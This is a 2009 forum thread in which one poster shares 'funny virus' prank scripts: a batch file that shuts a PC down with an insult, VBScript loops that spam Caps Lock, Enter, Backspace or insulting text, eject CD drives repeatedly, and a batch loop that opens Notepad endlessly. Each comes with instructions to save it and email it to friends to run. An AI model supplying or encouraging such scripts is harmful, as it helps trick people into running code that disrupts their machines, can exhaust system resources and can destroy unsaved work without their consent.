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Creating Funny Viruses With Your Notepad by doncaprio(m): 5:47am On Dec 30, 2009
These are cool notepad pranks witten in Microsoft Visual Basic, not some scary deadly virus, grin

I stumbled across this stuff somewhere on d net and i thought i'd be a great idea to share wit u guys, create any of these files and try them out on your pc and see what i'm saying, or send it to your friends via e-mail. Doing this is fun, hehehe, Re-starting your computer cancels the effect unless you add the start-up code which I wont post here.
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:49am On Dec 30, 2009
1. Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s


Save it as "Anything.BAT" in All Files and send it.
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:50am On Dec 30, 2009
2. Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell"wink
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


Save it as "Anything.VBS" and send it.
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:51am On Dec 30, 2009
3. Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7"wink
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:53am On Dec 30, 2009
4. Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell"wink
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


Save it as "Anything.VBS" and send it.
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:54am On Dec 30, 2009
5. Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell"wink
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "


Save it as "Anything.VBS"
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:55am On Dec 30, 2009
6. Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell"wink
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


Save it as "Anything.VBS"
Re: Creating Funny Viruses With Your Notepad by doncaprio(m): 5:56am On Dec 30, 2009
7. Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell"wink
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop


Save it as "Anything.VBS" and send it.


8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


Save it as "Anything.BAT" and send it.

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